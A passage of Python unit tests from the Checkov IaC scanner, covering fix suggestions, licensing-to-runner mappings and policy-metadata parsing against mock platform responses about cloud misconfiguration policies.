'CKV_AWS_130' } report = Report(CheckType.TERRAFORM) file = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'resources', 'main.tf') report.add_record(Record( check_id='CKV_AWS_130', bc_check_id='BC_AWS_NETWORKING_53', check_result={'result': CheckResult.FAILED, 'evaluated_keys': ['map_public_ip_on_launch']}, check_name='Ensure VPC subnets do not assign public IP by default', check_class='checkov.terraform.checks.resource.aws.SubnetPublicIP', code_block=[(1, 'resource "aws_subnet" "s" {\n'), (2, ' map_public_ip_on_launch = true\n'), (3, '}\n')], evaluations=None, file_abs_path=file, file_line_range=[2, 3], file_path='/main.tf', resource='aws_subnet.s' )) report.add_record(Record( check_id='custom_aws_12345', bc_check_id='custom_aws_12345', check_result={'result': CheckResult.FAILED, 'evaluated_keys': ['map_public_ip_on_launch']}, check_name='Cloned-Ensure VPC subnets do not assign public IP by default', check_class='checkov.terraform.checks.resource.aws.SubnetPublicIP', code_block=[(1, 'resource "aws_subnet" "s" {\n'), (2, ' map_public_ip_on_launch = true\n'), (3, '}\n')], evaluations=None, file_abs_path=file, file_line_range=[2, 3], file_path='/main.tf', resource='aws_subnet.s' )) fixes_integration.post_runner(report) self.assertTrue(all(r.fixed_definition is not None for r in report.failed_checks)) def setUp(self) -> None: self._old_check_metadata = metadata_integration.check_metadata def tearDown(self) -> None: metadata_integration.check_metadata = self._old_check_metadata metadata_integration.bc_to_ckv_id_mapping = {} def mock_fixes_response(check_type: str, filename: str, file_contents: str, failed_checks: Iterable[Record] ) -> dict[str, Any] | None: return { 'filePath': '/private/tmp/custom/main.tf', 'fixes': [ { 'resourceId': 'aws_subnet.s', 'policyId': 'BC_AWS_NETWORKING_53', 'originalStartLine': 1, 'originalEndLine': 3, 'fixedDefinition': 'resource "aws_subnet" "s" {\n}\n' }, { 'resourceId': 'aws_subnet.s', 'policyId': 'custom_aws_12345', 'originalStartLine': 1, 'originalEndLine': 3, 'fixedDefinition': 'resource "aws_subnet" "s" {\n}\n' } ] } if __name__ == '__main__': unittest.main() ================================================ FILE: tests/common/integration_features/test_integration_features.py ================================================ import unittest from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as policy_metadata_integration from checkov.common.bridgecrew.integration_features.features.custom_policies_integration import integration as custom_policies_integration from checkov.common.bridgecrew.integration_features.features.fixes_integration import integration as fixes_integration from checkov.common.bridgecrew.integration_features.features.repo_config_integration import integration as repo_config_integration from checkov.common.bridgecrew.integration_features.features.suppressions_integration import integration as suppressions_integration class TestSuppressionsIntegration(unittest.TestCase): def test_feature_order(self): self.assertGreater(fixes_integration.order, max([i.order for i in [policy_metadata_integration, custom_policies_integration, repo_config_integration, suppressions_integration]])) self.assertGreater(custom_policies_integration.order, policy_metadata_integration.order) self.assertGreater(suppressions_integration.order, policy_metadata_integration.order) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/common/integration_features/test_licensing_integration.py ================================================ import os import unittest from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.code_categories import CodeCategoryType, CodeCategoryMapping from checkov.common.bridgecrew.integration_features.features.licensing_integration import LicensingIntegration from checkov.common.bridgecrew.licensing import CustomerSubscription, SubscriptionCategoryMapping, \ CategoryToSubscriptionMapping, open_source_categories from checkov.common.bridgecrew.platform_errors import ModuleNotEnabledError from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration from checkov.common.runners.runner_registry import RunnerRegistry from checkov.runner_filter import RunnerFilter from checkov.bitbucket.runner import Runner as bitbucket_configuration_runner from checkov.sca_package_2.runner import Runner as sca_package_runner_2 from checkov.secrets.runner import Runner as secrets_runner from checkov.terraform.runner import Runner as tf_graph_runner # limited set for shorter testing DEFAULT_RUNNERS = ( tf_graph_runner(), secrets_runner(), bitbucket_configuration_runner(), sca_package_runner_2() ) checkov_runners = [value for attr, value in CheckType.__dict__.items() if not attr.startswith("__")] # pycharm gives false positive "unresolved reference" - ignore https://youtrack.jetbrains.com/issue/PY-36205 module_keys = [e.value for e in CustomerSubscription] runner_to_subscription_map = {runner: CategoryToSubscriptionMapping.get(CodeCategoryMapping[runner]) for runner in checkov_runners if 'sca_' not in runner} runner_to_subscription_map['sca_package'] = CustomerSubscription.SCA runner_to_subscription_map['sca_image'] = CustomerSubscription.SCA subscription_to_runner_map = {CustomerSubscription(sub): [runner for runner in checkov_runners if runner_to_subscription_map.get(runner) == CustomerSubscription(sub)] for sub in module_keys} class TestLicensingIntegration(unittest.TestCase): def test_constants(self): # these tests ensure that these lists get maintained if the runners and categories change self.assertEqual(set(module_keys), {'IAC', 'SECRETS', 'SCA', 'SAST'}) self.assertEqual(set(checkov_runners), { 'ansible', 'argo_workflows', 'arm', 'azure_pipelines', 'bicep', 'bitbucket_configuration', 'bitbucket_pipelines', 'cdk', 'circleci_pipelines', 'cloudformation', 'dockerfile', 'github_configuration', 'github_actions', 'gitlab_configuration', 'gitlab_ci', 'helm', 'json', 'kubernetes', 'kustomize', 'openapi', 'sca_package', 'sca_image', 'secrets', 'serverless', 'terraform', 'terraform_json', 'terraform_plan', 'yaml', 'sast', 'sast_python', 'sast_java', 'sast_javascript', 'sast_typescript', 'sast_golang', '3d_policy' }) self.assertEqual(SubscriptionCategoryMapping.get(CustomerSubscription.IAC), (CodeCategoryType.IAC, CodeCategoryType.BUILD_INTEGRITY)) self.assertEqual(SubscriptionCategoryMapping.get(CustomerSubscription.SCA), (CodeCategoryType.LICENSES, CodeCategoryType.VULNERABILITIES)) self.assertEqual(SubscriptionCategoryMapping.get(CustomerSubscription.SECRETS), (CodeCategoryType.SECRETS,)) self.assertEqual(SubscriptionCategoryMapping.get(CustomerSubscription.SAST), (CodeCategoryType.WEAKNESSES,)) self.assertEqual(CategoryToSubscriptionMapping[CodeCategoryType.IAC], CustomerSubscription.IAC) self.assertEqual(CategoryToSubscriptionMapping[CodeCategoryType.BUILD_INTEGRITY], CustomerSubscription.IAC) self.assertEqual(CategoryToSubscriptionMapping[CodeCategoryType.LICENSES], CustomerSubscription.SCA) self.assertEqual(CategoryToSubscriptionMapping[CodeCategoryType.VULNERABILITIES], CustomerSubscription.SCA) self.assertEqual(CategoryToSubscriptionMapping[CodeCategoryType.SECRETS], CustomerSubscription.SECRETS) self.assertEqual(CategoryToSubscriptionMapping[CodeCategoryType.WEAKNESSES], CustomerSubscription.SAST) self.assertEqual(CodeCategoryMapping.get(CheckType.BITBUCKET_PIPELINES), CodeCategoryType.BUILD_INTEGRITY) self.assertEqual(CodeCategoryMapping.get(CheckType.CIRCLECI_PIPELINES), CodeCategoryType.BUILD_INTEGRITY) self.assertEqual(CodeCategoryMapping.get(CheckType.ANSIBLE), CodeCategoryType.IAC) self.assertEqual(CodeCategoryMapping.get(CheckType.ARM), CodeCategoryType.IAC) self.assertEqual(CodeCategoryMapping.get(CheckType.AZURE_PIPELINES), CodeCategoryType.BUILD_INTEGRITY) self.assertEqual(CodeCategoryMapping.get(CheckType.BICEP), CodeCategoryType.IAC) self.assertEqual(CodeCategoryMapping.get(CheckType.CDK), CodeCategoryType.WEAKNESSES) self.assertEqual(CodeCategoryMapping.get(CheckType.CLOUDFORMATION), CodeCategoryType.IAC) self.assertEqual(CodeCategoryMapping.get(CheckType.DOCKERFILE), CodeCategoryType.IAC) self.assertEqual(CodeCategoryMapping.get(CheckType.GITHUB_CONFIGURATION), CodeCategoryType.BUILD_INTEGRITY) self.assertEqual(CodeCategoryMapping.get(CheckType.GITHUB_ACTIONS), CodeCategoryType.BUILD_INTEGRITY) self.assertEqual(CodeCategoryMapping.get(CheckType.GITLAB_CONFIGURATION), CodeCategoryType.BUILD_INTEGRITY) self.assertEqual(CodeCategoryMapping.get(CheckType.GITLAB_CI), CodeCategoryType.BUILD_INTEGRITY) self.assertEqual(CodeCategoryMapping.get(CheckType.BITBUCKET_CONFIGURATION), CodeCategoryType.BUILD_INTEGRITY) self.assertEqual(CodeCategoryMapping.get(CheckType.HELM), CodeCategoryType.IAC) self.assertEqual(CodeCategoryMapping.get(CheckType.JSON), CodeCategoryType.IAC) self.assertEqual(CodeCategoryMapping.get(CheckType.YAML), CodeCategoryType.IAC) self.assertEqual(CodeCategoryMapping.get(CheckType.KUBERNETES), CodeCategoryType.IAC) self.assertEqual(CodeCategoryMapping.get(CheckType.KUSTOMIZE), CodeCategoryType.IAC) self.assertEqual(CodeCategoryMapping.get(CheckType.OPENAPI), CodeCategoryType.IAC) self.assertEqual(CodeCategoryMapping.get(CheckType.SCA_PACKAGE), [CodeCategoryType.LICENSES, CodeCategoryType.VULNERABILITIES]) self.assertEqual(CodeCategoryMapping.get(CheckType.SCA_IMAGE), [CodeCategoryType.LICENSES, CodeCategoryType.VULNERABILITIES]) self.assertEqual(CodeCategoryMapping.get(CheckType.SECRETS), CodeCategoryType.SECRETS) self.assertEqual(CodeCategoryMapping.get(CheckType.SERVERLESS), CodeCategoryType.IAC) self.assertEqual(CodeCategoryMapping.get(CheckType.TERRAFORM), CodeCategoryType.IAC) self.assertEqual(CodeCategoryMapping.get(CheckType.TERRAFORM_PLAN), CodeCategoryType.IAC) self.assertEqual(CodeCategoryMapping.get(CheckType.ARGO_WORKFLOWS), CodeCategoryType.BUILD_INTEGRITY) self.assertEqual(CodeCategoryMapping.get(CheckType.SAST), CodeCategoryType.WEAKNESSES) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.BITBUCKET_PIPELINES), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.CIRCLECI_PIPELINES), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.ANSIBLE), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.ARM), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.AZURE_PIPELINES), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.BICEP), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.CDK), CustomerSubscription.SAST) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.CLOUDFORMATION), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.DOCKERFILE), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.GITHUB_CONFIGURATION), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.GITHUB_ACTIONS), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.GITLAB_CONFIGURATION), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.GITLAB_CI), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.BITBUCKET_CONFIGURATION), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.HELM), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.JSON), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.YAML), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.KUBERNETES), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.KUSTOMIZE), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.OPENAPI), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.SCA_PACKAGE), CustomerSubscription.SCA) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.SCA_IMAGE), CustomerSubscription.SCA) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.SECRETS), CustomerSubscription.SECRETS) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.SERVERLESS), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.TERRAFORM), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.TERRAFORM_PLAN), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.ARGO_WORKFLOWS), CustomerSubscription.IAC) self.assertEqual(LicensingIntegration.get_subscription_for_runner(CheckType.SAST), CustomerSubscription.SAST) self.assertEqual(open_source_categories, [CodeCategoryType.IAC, CodeCategoryType.SECRETS, CodeCategoryType.BUILD_INTEGRITY]) def test_integration_valid(self): instance = BcPlatformIntegration() instance.skip_download = False instance.platform_integration_configured = True # it is always valid, because it always makes a determination for which runners run licensing_integration = LicensingIntegration(instance) self.assertTrue(licensing_integration.is_valid()) instance.skip_download = True self.assertTrue(licensing_integration.is_valid()) instance.platform_integration_configured = False self.assertTrue(licensing_integration.is_valid()) instance.skip_download = False self.assertTrue(licensing_integration.is_valid()) licensing_integration.integration_feature_failures = True self.assertTrue(licensing_integration.is_valid()) def test_oss_mode_enabled(self): instance = BcPlatformIntegration() licensing_integration = LicensingIntegration(instance) licensing_integration.pre_scan() self.assertTrue(licensing_integration.open_source_only) # no API key instance.bc_api_key = '1234' licensing_integration.pre_scan() self.assertTrue(licensing_integration.open_source_only) # no customer run config # IAC and secrets are valid, SCA is not for runner_check_type in checkov_runners: self.assertEqual( licensing_integration.is_runner_valid(runner_check_type), runner_to_subscription_map[runner_check_type] not in (CustomerSubscription.SCA, CustomerSubscription.SAST), ) def test_oss_mode_resource_plan(self): instance = BcPlatformIntegration() licensing_integration = LicensingIntegration(instance) instance.bc_api_key = '1234' licensing_integration.pre_scan() instance.customer_run_config_response = { 'platformLicense': { 'modules': {m: True for m in module_keys}, } } licensing_integration.pre_scan() self.assertFalse(licensing_integration.open_source_only) def test_oss_mode_dev_plan(self): instance = BcPlatformIntegration() licensing_integration = LicensingIntegration(instance) instance.bc_api_key = '1234' licensing_integration.pre_scan() instance.customer_run_config_response = { 'platformLicense': { 'modules': {m: True for m in module_keys}, } } licensing_integration.pre_scan() self.assertFalse(licensing_integration.open_source_only) def test_resource_mode(self): instance = BcPlatformIntegration() instance.bc_api_key = '1234' licensing_integration = LicensingIntegration(instance) instance.customer_run_config_response = { 'platformLicense': { 'modules': {m: True for m in module_keys}, } } licensing_integration.pre_scan() for runner_check_type in checkov_runners: self.assertTrue(licensing_integration.is_runner_valid(runner_check_type)) self.assertTrue(licensing_integration.should_run_image_referencer()) def test_developer_mode_all_enabled(self): instance = BcPlatformIntegration() instance.bc_api_key = '1234' licensing_integration = LicensingIntegration(instance) instance.customer_run_config_response = { 'platformLicense': { 'modules': {key: True for key in module_keys}, } } licensing_integration.pre_scan() for runner_check_type in checkov_runners: if runner_check_type.startswith("sast"): # todo: remove when sast will be active continue self.assertTrue(licensing_integration.is_runner_valid(runner_check_type)) self.assertTrue(licensing_integration.should_run_image_referencer()) def test_developer_mode_all_disabled(self): instance = BcPlatformIntegration() instance.bc_api_key = '1234' licensing_integration = LicensingIntegration(instance) instance.customer_run_config_response = { 'platformLicense': { 'modules': {key: False for key in module_keys}, } } licensing_integration.pre_scan() for runner_check_type in checkov_runners: if runner_check_type.startswith(("cdk", "sast")): # todo: remove when sast will be active continue self.assertFalse(licensing_integration.is_runner_valid(runner_check_type)) self.assertFalse(licensing_integration.should_run_image_referencer()) def test_developer_mode_each_enabled(self): instance = BcPlatformIntegration() instance.bc_api_key = '1234' licensing_integration = LicensingIntegration(instance) # test one module at a time for module in module_keys: instance.customer_run_config_response = { 'platformLicense': { 'modules': {key: key == module for key in module_keys}, } } licensing_integration.pre_scan() for runner_check_type in checkov_runners: if runner_check_type.startswith(("cdk", "sast")): # todo: remove when sast will be active continue self.assertEqual(licensing_integration.is_runner_valid(runner_check_type), runner_check_type in subscription_to_runner_map[CustomerSubscription(module)]) self.assertEqual(licensing_integration.should_run_image_referencer(), module == 'SCA') def test_runner_registry_single_runner(self): instance = BcPlatformIntegration() instance.bc_api_key = '1234' licensing_integration = LicensingIntegration(instance) instance.customer_run_config_response = { 'platformLicense': { 'modules': {m: True for m in module_keys}, } } licensing_integration.pre_scan() scan_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'resources') runner_filter = RunnerFilter(framework=['terraform'], runners=checkov_runners) runner_registry = RunnerRegistry('', runner_filter, *DEFAULT_RUNNERS) runner_registry.licensing_integration = licensing_integration reports = runner_registry.run(root_folder=scan_dir) self.assertEqual(len(reports), 1) self.assertIsNotNone(reports[0]) def test_runner_registry_single_runner_hard_fail(self): instance = BcPlatformIntegration() instance.bc_api_key = '1234' licensing_integration = LicensingIntegration(instance) instance.customer_run_config_response = { 'platformLicense': { 'modules': {m: False for m in module_keys}, } } licensing_integration.pre_scan() scan_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'resources') runner_filter = RunnerFilter(framework=['terraform'], runners=checkov_runners) runner_registry = RunnerRegistry('', runner_filter, *DEFAULT_RUNNERS) runner_registry.licensing_integration = licensing_integration try: runner_registry.run(root_folder=scan_dir) raise AssertionError('Runner registry should hard fail because a single framework was used') except Exception as e: self.assertIsInstance(e, ModuleNotEnabledError) def test_runner_registry_multiple_runners_with_framework(self): instance = BcPlatformIntegration() instance.bc_api_key = '1234' licensing_integration = LicensingIntegration(instance) instance.customer_run_config_response = { 'platformLicense': { 'modules': { 'IAC': True, 'SECRETS': False, 'SCA': False }, } } licensing_integration.pre_scan() scan_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'resources') runner_filter = RunnerFilter(framework=['terraform', 'bitbucket_configuration', 'sca_package', 'secrets'], runners=checkov_runners) runner_registry = RunnerRegistry('', runner_filter, *DEFAULT_RUNNERS) runner_registry.licensing_integration = licensing_integration with self.assertLogs(level='INFO') as log: reports = runner_registry.run(root_folder=scan_dir) self.assertEqual(len(reports), 2) # terraform and bitbucket # we are specifically verifying the log level here self.assertIn('WARNING:root:The framework "secrets" is part of the "SECRETS" module, which is not enabled in the platform', log.output) self.assertIn('WARNING:root:The framework "secrets" is part of the "SECRETS" module, which is not enabled in the platform', log.output) def test_runner_registry_multiple_runners_without_framework(self): instance = BcPlatformIntegration() instance.bc_api_key = '1234' licensing_integration = LicensingIntegration(instance) instance.customer_run_config_response = { 'platformLicense': { 'modules': { 'IAC': True, 'SECRETS': False, 'SCA': False }, } } licensing_integration.pre_scan() scan_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'resources') runner_filter = RunnerFilter(runners=checkov_runners) runner_registry = RunnerRegistry('', runner_filter, *DEFAULT_RUNNERS) runner_registry.licensing_integration = licensing_integration with self.assertLogs(level='INFO') as log: reports = runner_registry.run(root_folder=scan_dir) self.assertEqual(len(reports), 2) # terraform and bitbucket # we are specifically verifying the log level here self.assertIn('INFO:root:The framework "secrets" is part of the "SECRETS" module, which is not enabled in the platform', log.output) self.assertIn('INFO:root:The framework "secrets" is part of the "SECRETS" module, which is not enabled in the platform', log.output) def test_runner_registry_multiple_runners_all_disabled(self): instance = BcPlatformIntegration() instance.bc_api_key = '1234' licensing_integration = LicensingIntegration(instance) instance.customer_run_config_response = { 'platformLicense': { 'modules': { 'IAC': False, 'SECRETS': False, 'SCA': False } } } licensing_integration.pre_scan() scan_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'resources') runner_filter = RunnerFilter(framework=['terraform', 'bitbucket_configuration', 'sca_package', 'secrets'], runners=checkov_runners) runner_registry = RunnerRegistry('', runner_filter, *DEFAULT_RUNNERS) runner_registry.licensing_integration = licensing_integration try: runner_registry.run(root_folder=scan_dir) raise AssertionError('Runner registry should hard fail because a single framework was used') except Exception as e: self.assertIsInstance(e, ModuleNotEnabledError) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/common/integration_features/test_policy_metadata_integration.py ================================================ import unittest from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import \ PolicyMetadataIntegration from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration class TestPolicyMetadataIntegration(unittest.TestCase): def test_filtered_policy_ids(self): instance = BcPlatformIntegration() instance.bc_api_key = '00000000-0000-0000-0000-000000000000::1234==' instance.customer_run_config_response = mock_customer_run_config() instance.prisma_policies_response = mock_prisma_policies_response() instance.prisma_policies_exception_response = [mock_prisma_policies_response()[0]] metadata_integration = PolicyMetadataIntegration(instance) metadata_integration.bc_integration = instance metadata_integration.pre_scan() metadata_integration.pc_to_ckv_id_mapping self.assertDictEqual(metadata_integration.pc_to_ckv_id_mapping, {'6960be11-e3a6-46cc-bf66-933c57c2af5d': 'CKV_AWS_212', '3dc2478c-bf25-4383-aaa1-30feb5cda586': '806079891421835264_AZR_1685557908904', 'c11ce08c-b93e-4e11-8d1c-e5a1339139d1': 'CKV_AWS_40', '0e4c576e-c934-4af3-8592-a53920e71ffb': 'CKV_AWS_53', '1234': 'CKV3_SAST_123'}) self.assertListEqual(metadata_integration.filtered_policy_ids, ['CKV_AWS_212', '806079891421835264_AZR_1685557908904', 'CKV_AWS_40', 'CKV_AWS_53', 'CKV_AZURE_122']) self.assertListEqual(metadata_integration.filtered_exception_policy_ids, ['CKV_AWS_212']) self.assertSetEqual(set(metadata_integration.sast_check_metadata.keys()), {'CKV3_SAST_123'}) def mock_customer_run_config(): return { "policyMetadata": { "CKV_AWS_212": { "id": "BC_AWS_IAM_5", "title": "Ensure IAM password policy requires at least one uppercase letter", "guideline": "https://docs.bridgecrew.io/docs/iam_5", "severity": "MEDIUM", "pcSeverity": "MEDIUM", "category": "IAM", "checkovId": "CKV_AWS_212", "constructiveTitle": "Ensure AWS IAM password policy has an uppercase character", "descriptiveTitle": "AWS IAM password policy does not have an uppercase character", "pcPolicyId": "6960be11-e3a6-46cc-bf66-933c57c2af5d", "additionalPcPolicyIds": [ "6960be11-e3a6-46cc-bf66-933c57c2af5d" ], "benchmarks": {} }, "CKV_AWS_40": { "id": "BC_AWS_IAM_16", "title": "Ensure IAM policies are attached only to groups or roles", "guideline": "https://docs.bridgecrew.io/docs/iam_16-iam-policy-privileges-1", "severity": "CRITICAL", "pcSeverity": "HIGH", "category": "IAM", "checkovId": "CKV_AWS_40", "constructiveTitle": "Ensure IAM policies are only attached to Groups and Roles", "descriptiveTitle": "AWS IAM policy attached to users", "pcPolicyId": "c11ce08c-b93e-4e11-8d1c-e5a1339139d1", "additionalPcPolicyIds": [ "c11ce08c-b93e-4e11-8d1c-e5a1339139d1" ], "benchmarks": {} }, "CKV_AWS_53": { "id": "BC_AWS_S3_19", "title": "Ensure S3 bucket has block public ACLS enabled", "guideline": "https://docs.bridgecrew.io/docs/bc_aws_s3_19", "severity": "MEDIUM", "pcSeverity": None, "category": "Storage", "checkovId": "CKV_AWS_53", "constructiveTitle": "Ensure S3 bucket has block public ACLS enabled", "descriptiveTitle": None, "pcPolicyId": "0e4c576e-c934-4af3-8592-a53920e71ffb", "additionalPcPolicyIds": [ "0e4c576e-c934-4af3-8592-a53920e71ffb" ], "benchmarks": {} }, "CKV_AZURE_122": { "id": "BC_AZR_NETWORKING_39", "title": "Ensure that Application Gateway uses WAF in \"Detection\" or \"Prevention\" modes", "guideline": "https://docs.bridgecrew.io/docs/ensure-that-application-gateway-uses-waf-in-detection-or-prevention-modes", "severity": "LOW", "pcSeverity": "LOW", "category": "Networking", "checkovId": "CKV_AZURE_122", "constructiveTitle": "Ensure application gateway uses WAF in Detection or Prevention modes", "descriptiveTitle": "Application gateway does not use WAF in Detection or Prevention modes", "pcPolicyId": "3dc2478c-bf25-4383-aaa1-30feb5cda586", "additionalPcPolicyIds": [ "3dc2478c-bf25-4383-aaa1-30feb5cda586" ], "benchmarks": {} }, "CKV3_SAST_123": { "id": "BC_SAST_123", "title": "sast", "guideline": "https://docs.bridgecrew.io/docs/abc", "severity": "LOW", "pcSeverity": "LOW", "category": "Networking", "checkovId": "CKV3_SAST_123", "constructiveTitle": "sast", "descriptiveTitle": "sast", "pcPolicyId": "1234", "additionalPcPolicyIds": [ "1234" ], "benchmarks": {} } }, "customPolicies": [ { "id": "806079891421835264_AZR_1685557908904", "code": "null", "title": "Application gateway does not use WAF in Detection or Prevention modes", "guideline": "Refer the documentation for more details,\nhttps://docs.bridgecrew.io/docs/ensure-that-application-gateway-uses-waf-in-detection-or-prevention-modes", "severity": "MEDIUM", "pcSeverity": "MEDIUM", "category": "Networking", "pcPolicyId": "3dc2478c-bf25-4383-aaa1-30feb5cda586", "additionalPcPolicyIds": [ "3dc2478c-bf25-4383-aaa1-30feb5cda586" ], "sourceIncidentId": "BC_AZR_NETWORKING_39", "benchmarks": {}, "frameworks": [ "CloudFormation", "Terraform" ], "provider": "Azure" } ] } def mock_prisma_policies_response(): return [ { "policyId": "6960be11-e3a6-46cc-bf66-933c57c2af5d", "name": "AWS EBS volume region with encryption is disabled", "policyType": "config", "policySubTypes": [ "run", "build" ], "systemDefault": True, "policyUpi": "PC-AWS-EC2-778", "description": "This policy identifies AWS regions in which new EBS volumes are getting created without any encryption. Encrypting data at rest reduces unintentional exposure of data stored in EBS volumes. It is recommended to configure EBS volume at the regional level so that every new EBS volume created in that region will be enabled with encryption by using a provided encryption key.", "severity": "medium", "rule": { "name": "AWS EBS volume region with encryption is disabled", "criteria": "7a951e9f-02d2-4d9f-9441-29b545084585", "parameters": { "withIac": "true", "savedSearch": "true" }, "type": "Config", "children": [ { "criteria": "{\"category\":\"Kubernetes\",\"resourceTypes\":[\"aws_ebs_encryption_by_default\"]}", "type": "build", "metadata": { "checkovId": "CKV_AWS_106" }, "recommendation": "Refer the documentation for more details,\nhttps://docs.bridgecrew.io/docs/ensure-kubernetes-secrets-are-encrypted-using-customer-master-keys-cmks-managed-in-aws-kms" } ] }, "recommendation": "To enable encryption at region level by default, follow below URL:\nhttps://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-by-default\n\nAdditional Information:\n\nTo detect existing EBS volumes that are not encrypted ; refer Saved Search:\nAWS EBS volumes are not encrypted_RL\n\nTo detect existing EBS volumes that are not encrypted with CMK, refer Saved Search:\nAWS EBS volume not encrypted using Customer Managed Key_RL", "cloudType": "aws", "complianceMetadata": [ { "standardId": "a0ea1077-424f-45fd-994e-4caef6d4d9de", "standardName": "AWS Foundational Security Best Practices standard", "standardDescription": "AWS Foundational Security Best Practices standard", "requirementId": "Protect", "requirementName": "Protect", "sectionId": "Data protection", "sectionDescription": "Data protection", "policyId": "6960be11-e3a6-46cc-bf66-933c57c2af5d", "complianceId": "2ab6eea3-660b-48c4-a836-53347e702faf", "sectionLabel": "Data protection", "sectionViewOrder": 5, "requirementViewOrder": 2, "systemDefault": True, "customAssigned": False } ], "labels": [ "CODE", "KARTIK" ], "enabled": True, "createdOn": 1634832351154, "createdBy": "Prisma Cloud System Admin", "lastModifiedOn": 1654106204620, "lastModifiedBy": "User", "ruleLastModifiedOn": 1639652340813, "deleted": False, "owner": "Prisma Cloud", "policyMode": "redlock_default", "policyCategory": "risk", "policyClass": "exposure", "remediable": False }, { "policyId": "3dc2478c-bf25-4383-aaa1-30feb5cda586", "name": "Application gateway does not use WAF in Detection or Prevention modes", "policyType": "config", "policySubTypes": [ "build" ], "systemDefault": True, "description": "Ensure that Application Gateway uses WAF in \"Detection\" or \"Prevention\" modes", "severity": "medium", "rule": { "parameters": { "withIac": "true", "savedSearch": "false" }, "type": "Config", "children": [ { "criteria": "{\"category\":\"Networking\",\"resourceTypes\":[\"azurerm_web_application_firewall_policy\"]}", "type": "build", "metadata": { "checkovId": "CKV_AZURE_122" }, "recommendation": "Refer the documentation for more details,\nhttps://docs.bridgecrew.io/docs/ensure-that-application-gateway-uses-waf-in-detection-or-prevention-modes" } ] }, "recommendation": "", "cloudType": "azure", "labels": [ "pcsup" ], "enabled": True, }, { "policyId": "c11ce08c-b93e-4e11-8d1c-e5a1339139d1", "name": "CUSTOM 3: Ensure subnet is associated with NSG", "policyType": "config", "policySubTypes": [ "build" ], "systemDefault": False, "description": "Every subnet should be associated with NSG for controlling access to \nresources within the subnet.\n", "severity": "high", "rule": { "name": "CUSTOM 3: Ensure subnet is associated with NSG", "parameters": { "withIac": "true", "savedSearch": "false" }, "type": "Config", "children": [ { "type": "build", "metadata": { "code": "metadata:\n name: 'CUSTOM 3: Ensure subnet is associated with NSG'\n guidelines: \"Every subnet should be associated with NSG for controlling access to\\\n \\ \\nresources within the subnet.\\n\"\n category: networking\n severity: high\nscope:\n provider: azure\ndefinition:\n and:\n - cond_type: connection\n resource_types:\n - azurerm_subnet_network_security_group_association\n connected_resource_types:\n - azurerm_subnet\n - azurerm_network_security_group\n operator: exists\n - cond_type: filter\n attribute: resource_type\n value:\n - azurerm_subnet\n operator: within\n" }, "recommendation": "" } ] }, "recommendation": "", "cloudType": "azure", "labels": [ "CODE", "KARTIK" ], "enabled": True, "createdOn": 1653999690681, "createdBy": "User", "lastModifiedOn": 1654065712108, "lastModifiedBy": "User", "ruleLastModifiedOn": 1653999690681, "deleted": False, "owner": "Tenant Name", "policyMode": "custom", "policyCategory": "risk", "policyClass": "exposure", "remediable": False }, { "policyId": "0e4c576e-c934-4af3-8592-a53920e71ffb", "name": "CUSTOM POLICY2: Ensure subnet is associated with NSG", "policyType": "config", "policySubTypes": [ "build" ], "systemDefault": False, "description": "Every subnet should be associated with NSG for controlling access to \nresources within the subnet.\n", "severity": "high", "rule": { "name": "CUSTOM POLICY2: Ensure subnet is associated with NSG", "parameters": { "withIac": "true", "savedSearch": "false" }, "type": "Config", "children": [ { "type": "build", "metadata": { "code": "metadata:\n name: 'CUSTOM POLICY2: Ensure subnet is associated with NSG'\n guidelines: \"Every subnet should be associated with NSG for controlling access to\\\n \\ \\nresources within the subnet.\\n\"\n category: networking\n severity: high\nscope:\n provider: azure\ndefinition:\n and:\n - cond_type: connection\n 